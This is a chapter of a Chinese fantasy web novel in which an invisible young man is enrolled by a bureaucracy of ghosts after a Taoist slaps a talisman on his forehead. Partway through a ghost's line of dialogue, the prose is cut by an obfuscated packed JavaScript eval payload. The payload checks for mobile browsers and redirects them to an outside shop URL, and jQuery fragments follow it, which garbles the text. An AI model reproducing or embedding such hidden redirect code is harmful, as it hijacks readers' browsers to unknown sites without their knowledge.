白小飞抱着他那寒酸又诡异的新手大礼包,像个被吓破胆的鹌鹑,哆哆嗦嗦地朝着大厅深处那排通往地下的电梯挪去。脑子里还在不断回放着前台鬼大爷那惨白的脸和空荡荡的官袍下摆,感觉周围的温度都比外面低了好几度。
他想逃,可是不敢啊,而且也没钱回去!!只能硬着头皮、魂不守舍地走着的时候,迎面撞上了一个人。
或者说,一个……画风清奇的道士。
这人穿着一身略显陈旧的宽大道袍,戴着一副小圆片墨镜,梳着道髻,戴一根乌木道簪,脸上挂着笑眯眯的表情,整个人透着一股子江湖骗子和得道高人混合的奇妙气质。
若是平时,白小飞绝对会把他当成景区门口算命的,绕道走。但此刻,刚刚经历了“活见鬼”的他,如同抓住了救命稻草,也顾不上什么礼貌,以及对方能不能注意到他了,一个箭步冲上去,死死拽住对方的道袍袖子,声音抖得不成样子:
“道……道长!救、救命!有……有有鬼啊!就在前面那个前台!一个穿着清朝衣服,没有腿,还会突然消失的老鬼!”他语无伦次,脸色比那鬼大爷好不到哪儿去。
那道士被他突然抓住,也不惊讶,反而顺势一推鼻梁上的小墨镜,上下打量了白小飞一番,脸上笑容更盛,摇头晃脑地开口:
“哦呦~无量天尊~~”他拉长了调子,带着点戏谑,“贫道观小伙子你印堂发黑,目光涣散,周身阴气缠绕,啧啧,近日必有血光之灾啊!来来来,你与贫道有缘,拿着这个~”
说着,他也不管白小飞什么反应,以迅雷不及掩耳之势,“啪”地一声,将一张皱巴巴的黄纸符拍在了白小飞的脑门上。
那符纸贴上额头,传来一种微妙的、带着朱砂和香火气的凉意。
白小飞被拍得一愣,还没等他反应过来这道士是真是假、这符纸有没有用,那道士已经抽回了袖子,整理了一下衣冠。然后嘴里哼着不成调、却莫名带着韵律的道情,大摇大摆踏着四方步朝着大门方向去了。
“~脚踏乾坤袖藏风~诶~
~不管那妖魔与神佛~
~算不尽红尘因果乱~
~只道你今日要倒霉~
嘿~要~倒~霉~哟~”
歌声渐行渐远。
白小飞僵在原地,额头上还贴着那张可笑的黄符,怀里抱着新手礼包,最后那句“要倒霉”在空旷的大厅里隐隐回荡。
血光之灾?
要倒霉?
他低头看了看自己这一身狼狈,回想起从收到信息到现在的一系列遭遇……
这道士……说得好像还挺他妈准的啊!
他欲哭无泪地伸手,想把额头上那张符纸揭下来,可手指触碰到符纸的瞬间,又犹豫了。万一……万一这玩意儿真有点用呢?这IFBPI里明显不太平,多个护身符……哪怕是心理安慰也好啊!
于是乎,顶着一张皱巴巴的黄符,白小飞怀着上坟般的心情,踏入了通往地下深处的电梯。当显示“B9”的按钮幽幽亮起,电梯门再次打开时,一股阴冷气息扑面而来,让他打了个寒颤。
他以为自己会看到什么血腥恐怖的场景。
结果再一次秀穿了他的脑容量。
眼前出现的,却是一个……异常繁忙、灯火通明、的巨大办公室!
无数各种职业,各种死法的阿飘以极高的效率穿梭往来。整个空间充斥着死气沉沉却异常高效的……社畜气息。
白小飞目瞪口呆。
他看到一个大半个脑袋都瘪下去的西装男鬼,正用剩下的那只眼睛快速扫描着文件;看到一个浑身湿漉漉还不断往下滴水的长发女鬼,正飞快地敲击着防水键盘;还有一个胸口插着一把螺丝刀的工人鬼魂,正飘在半空,维修着一条能量线路……
最绝的是,一个穿着古代铠甲、没有头的大哥,怀里抱着一大摞文件,用胸腔发出沉闷的声音:“让让!急件!送往执行部!”那空荡荡的脖颈处仿佛能感觉到视线,精准地绕过障碍物,匆匆“飘”过白小飞身边。
白小飞感觉自己的世界观正在被按在地上反复摩擦。而且似乎有些麻木了,他小心谨慎的开口……
“内个……”
就在这时——
像是接收到了某个统一的信号,整个忙碌的“往生间”办公层,突然安静了一瞬。
紧接着,所有正在忙碌的阿飘们,无论他们在做什么,几乎在同一时间,齐刷刷地“扭”过了头,无数道或空洞、或好奇、或森然的目光,瞬间聚焦在了刚刚踏入这片领域的白小飞身上。
他们的视线,不约而同地在他额头那张明黄色的符咒上逗留了几秒。
然后,一大群鬼魂就像嗅到血腥味的鲨鱼群,几十个阿飘放下手中的工作,“呼啦”一下全围了上来!
白小飞吓得差点当场表演一个原地升天!
“新来的?”
“活人?”
“啧,还贴着叶老大的符……”
“嗯,许大人交代过。”
“流程!走流程!”
根本不容他反抗和思考,他就被一股无形的、冰冷的力量裹挟着,推向一条快速通道。
“签字!”
白小飞手指被按在平板上采集电子签名。
“拍照,准备!”
照片上的白小飞一脸惊恐,额头黄符格外醒目。
“录指纹”——“虹膜扫描”——“异能能量波动记录”——“体检报告,没有?快快快给法医办打电话预约!”
……
一系列操作行云流水,配合默契,效率高得令人发指!前后不超过五分钟,白小飞就像一头被投入全自动屠宰流水线的猪,等他从通道另一头晕头转向地“冒”出来时,已经变成了一盒贴好标签的午餐肉。啊不……是一个IFBPI新人员工。
手里已经被塞了一张新鲜出炉、还带着点灵体凉意的员工卡。卡面上,他那张惊恐万状的脸和额头上招摇的黄符被永恒定格。
白小飞看着卡片,再感受着周围那几十道依旧“灼灼”盯着他的鬼魂目光,一种荒诞至极的愤怒混合着恐惧,终于冲垮了他的理智。
他几乎是咆哮了出来他想问很久的一句话。
“你们……你们都能看见我?!”
这话一出,围观的众鬼们明显愣了一下。
随即,整个办公层爆发出了一阵若有若无的、虚无缥缈的笑声……
“噗——”
“哈哈哈这傻小子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334319|199214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
“新鲜!真新鲜!”
“平时都是我们追着活人问‘你能不能看见我?’,今天反过来了嘿!”
一个穿着民国旗袍的歌女女鬼笑着飘近一点,伸出一根半透明的手指,指了指白小飞的脑门:
“小弟弟,不是我们能看见‘你’,是叶老大这张‘符’,暂时把你那点可怜的异能给盖住啦~你现在啊,跟个大灯泡似的,亮得很~”
白小飞抬手摸向额头那张符纸,那股香灰味和凉飕飕的感觉还在。
是……是那个道士?!那张符不是辟邪的,是特么用来屏蔽异能的?!
“那位道长……何方高人也?!?!”他的声音带着感动的哭腔。二十四年,整整二十四年啊,第一次……被这么多人看到,啊不对,被这么多鬼看到……
“哟~聊什么呢这么热闹?让我也听听~”一个充满活力的女声插了进来。众鬼闻声,默契地让开一条通道。
只见传说中的许飘飘,飘在众鬼后面。她生着一张娃娃脸,戴着一副黑框眼镜,还穿着模糊的看不清内容的二次元痛T,标准的不能再标准的程序媛女鬼。她从一堆光屏后面“钻”了出来,手里还捧着一杯冒着寒气的……不知是香灰还是咖啡冲泡的某种液体。
她一眼就看到了白小飞额头的符咒和手里的新员工卡,脸上顿时露出“我嗑到了”的兴奋表情。
“哎呀呀~叶老大刚见面就把符咒都给你贴上了?这可是他亲手画的精品!看来他很看好你嘛小飞飞!叶道长可是我们局里的定海神针!崂山正宗传人,道法高深,能掐会算,活了好几百……咳咳,总之就是超级厉害!他这符一般人可求不到!他居然主动给你贴了!这说明什么?说明缘分啊!”
她越说越兴奋,双手捧心,周身仿佛冒出了粉红色的泡泡:“强大神秘又腹黑的超强赛博道士,和懵懂可怜又无助的透明小萌新……这设定!这反差!啊啊啊!锁了锁了!”
白小飞一脸懵逼地看着眼前这个自言自语的女鬼组长,完全跟不上她的脑回路。
“来来来~~小飞飞,让我给你解释一下来龙去脉~~”
一份文件自动飞了起来,落在了白小飞面前。
那是白小飞的异能档案。
【姓名】:白小飞
【异能】:「存在感零」(被动)
【等级】:E
【备注】:目标极难观测,理论上具备极高潜行、潜入等特种价值,暂无不良记录。
后面的评价栏目里,写着一个简短的评价,【“适合暗杀、潜入或斩首行动,破格收编X执行部”】
后面跟着一个苍劲有力的签名,「沈承欢」
白小飞内心疯狂咆哮,“沈承欢?!是我理解的那个沈承欢吗?是那个三年前以一己之力烧穿了北境冰盖,焚山煮海,摧枯拉朽般的剿灭了上万头异兽组成的兽潮,拯救了全人类的那位人形天灾?!”
还没从“沈天灾点名要我去跟着他混”,这个事实里反应过来的白小飞,眨巴眨巴眼睛,刚想开口……
许飘飘明显已经亢奋起来了,突然凑近,压低声音,神秘兮兮地问:
“对了,小飞飞,你嗑年上吗?”
白小飞:“……啊?”